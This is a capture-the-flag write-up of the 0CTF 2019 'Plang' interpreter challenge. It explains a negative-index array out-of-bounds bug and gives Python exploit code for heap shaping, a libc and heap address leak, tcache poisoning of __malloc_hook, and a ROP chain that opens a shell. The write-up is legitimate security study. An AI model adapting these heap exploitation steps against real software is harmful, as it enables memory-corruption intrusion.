## Plang
This is a challenge that I failed to solve during the contest since I've got into wrong direction. After contest I read [this](https://changochen.github.io/2019-03-23-0ctf-2019.html) and [this](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#plang) for some hints, and solved it in my own way.
### Overview
The program is a mini JavaScript interpreter engine, with [grammar](grammar.md) given. The vulnerability is an array-out-of-bound when the index of array access is a negative `int32_t`. However, the PoC given does not produce signed extension when negative `uint32_t` is converted into 64-bit index to access the array element. Here is where I've got stuck: I tried to exploit the program with only such unsigned extension, but although this might work, the time needed is far more than `alarm` limitation. I might share my initial approach later. Therefore, the correct approach is to use negative index like this `a[-2] = 1`.
### Data Structure Layout
2 important data structures most useful for exploitation are `string` and `array`, let's see their memory layout.
This is **array**:
```pwndbg> x/40gx 0x55555578de900x0000000000001040	0x0000000000004010 // prev_size and size of ptmalloc chunk0x0000000000000004	0x4000000000000000//each element is a `0x4` followed by a `double` floating point number//which is the numeric value of array element//`0x4` might be enum that specify this is a `double` type//there is no integer array element in this interpreter//in this example, the array is [2,2,2,2,...]0x0000000000000004	0x40000000000000000x0000000000000004	0x4000000000000000//...```
This is **string**:
```x/40gx 0x5555557896100x0000000000000830	0x00000000000010300x0000000000000005	0x000055555577c120//there are some pointers that should not be changed0x0000555555788b00	0x00001000f144edc5//0x00001000 is length of the string, //0xf144edc5 seems to be hash of the string0x3131313131313131	0x31313131313131310x3131313131313131	0x3131313131313131//....```
### Exploitation
Initially I tried to allocate big chunks of string and array so that they will be allocated using `mmap` just before `libc` memory, so that the offset from them to `libc` is constant. Then change the size of string using underflow OOB, then use that string to read/write memory in `libc`. However, this does not work, because `0x4` will also be written to memory of string, and it overlaps with a pointer and will cause segmentation fault when we use that string again.
Instead, I tried to write the size of `ptmalloc` memory chunk meta data. To be specific, I tried to change the `size` field of the chunk and cause overlapping, then leak `libc` address by having a `unsorted bin` on memory region of string.
Therefore, we need a **heap layout** like this
```1. array, its `chunk size` is going to be overwritten 2. array, whose size should be smaller than array 13. string, whose size should be comparatively big to ensure the addresses will lay inside it4. array, used to trigger OOB vuln```
`1-4` should be adjacent without any other chunks lay between them. Such situation is a bit hard to produce. A point to note is the existence of array `2`: we need it to prevent pointers in string 3 from being overwritten. The reason is that in this interpreter, we cannot create an array with fixed large size directly, but can only produce an empty array first and add elements later (this is the case even if we use `var a = [1,2,3,4,5]`); when the array is enlarged, the size of memory will always be doubled (like the implementation of `std::vector`). If we don't have `array 2`, the `unsorted bin` will overlap precisely with `string 3` and overwrite pointers at the beginning of string when trying to write `libc` address onto memory of `string 3`, and this is not what we want.
However, as I said, such heap layout is hard to produce. When we continuously enlarge the size of array or string, `realloc` will cause initial small chunks to be freed, which produces many fragments that may lay between the objects that we allocated; also the order of heap objects in memory layout does not have to be identical as order of allocation, which causes a different layout. To avoid these problems and achieve the effect we want, we can do this:
```pythonexp1 = '''var x = "11111111111111111111111111111111"var i = 0 while (i < 7) {x = x + x i = i + 1 System.gc()}var j = 0 var ba = [] while (j < 0x100) { ba.add(1) j = j + 1 System.gc()}var bec = [1,2,3,4,5,6,7,8]var bed = [1,2,3,4,5,6,7,8]bec = 0bed = 0System.gc()'''# perform last x = x + x after 2 arrays are allocated# to prevent small fragments to lay between objectsexp2 = '''x = x + x System.gc()j = 0 var bb = [] while (j < 0x400) { bb.add(2) j = j + 1 System.gc()}System.gc()'''#it seems that it is better to have System.gc() in each loop#the sizes are obtained by trial and errorsend_payload(exp1.split('\n'))
#try to remove a chunk from bins, #otherwise `prev_size != size` will occur for that chunk send_payload([	"j = 0 var bea = [] while (j < 0x10) { bea.add(0x1000) j = j + 1 System.gc()}",	"j = 0 var beb = \"%s\"" % ('A' * 0x70)])#consume a bin#now heap:#1. string x '111'#2. ba
#payloads = []#for i in xrange(4):#	payloads.append("j = 0 var be%s = [1,2,3,4]" % chr(ord('a') + i))#too many fragments :(send_payload(["j = 0 var baa = [] while (j < 0x80) { baa.add(1) j = j + 1 System.gc()}"])send_payload(exp2.split('\n'))#now heap layout:#1. ba -> try to change chunk size for this one #2. baa 0x55555578b650#3. x #4. bb```
Then it's time to **leak the addresses**.
Firstly we change the chunk size of `ba` to wrap `ba`, `baa` and `x`, so when this big chunk is consumed, the addresses in `unsorted bin` will be written to string `x` so we can leak it.
```pythonsend_payload(["bb[%d]=%s" % (-0x386, qword_to_double(0x1010+0x810+0x2030+1)), #change chunk size of `ba`	"ba = 0","System.gc()"]) # free(ba) 0x55555578a640
send_payload(["j = 0 var bc = [] while (j < 0x100) { bc.add(2019) j = j + 1 System.gc()}"])#This `bc` is also some neccessary consumption of freed binssend_payload(["j = 0 var bca = [] while (j < 0x101) { bca.add(2019) j = j + 1 System.gc()}"])#now heap address and libc address have been shoot to x 0x7b0
leak = ""for i in xrange(0x7b0,0x7b8):	leak += send_payload(["System.print(x[%d])" % i], True)	send_payload(["System.gc()"])libc_addr = u64(leak) - 0x3ebca0
leak = ""for i in xrange(0x7c0,0x7c8):	leak += send_payload(["System.print(x[%d])" % i], True)	send_payload(["System.gc()"])heap_addr = u64(leak)
print hex(libc_addr),hex(heap_addr)```
Then we have address leak, then we need to find ways to **get shell**. Since this is `libc-2.27`, there is a `struct` `tcache_perthread_struct` at the beginning of the heap. We can rewrite the entry of such structure to poison the `tcache`. Luckily, `0x50` chunk head is at `xxx8` memory address so we can rewrite it using our own value (note we always have `0x4` at `xxx0` address). We can rewrite it to `&__malloc_hook` so we can rewrite this function pointer. The `one_gadget` does not seem to work very well since the pre-condition does not satisfy, but we can control a large piece of stack memory, so we can do ROP. 
```pythonsend_payload(["bb[%d]=%s" % (-0x1ae4, qword_to_double(libc_addr + e.symbols["__malloc_hook"] - 0x20))])payload = "var s2 = [%s,2,3,1]" % qword_to_double(libc_addr + 0x162ea3)#0x162ea3 : add rsp, 0x520 ; pop rbx ; retassert len(payload) < 0x2b0payload = payload.ljust(0x2b0, '\x00')payload += p64(libc_addr + 0x4f322) #one gadgetpayload += '\x00' * 0x60 #satisfy conditionsend_payload(["var s1 = [1,2,3,4]"])sh.sendline(payload)```
The data structure that I use does not seem to be that `array` one, but it still writes our floating point number to the memory being allocated. Another thing to note is that the reason why `__free_hook` might not work very well is that there is a `stdin lock` structure before `__free_hook`, and the `fgets` function will get stuck if we tamper it. In this case we must use the `array` structure because it won't tamper much memory before the target, but this is going to use `realloc` to enlarge memory, and the weird thing is `realloc` will not use memory chunks in `tcache`. `:(`
[Full Exploit Script](plang.py)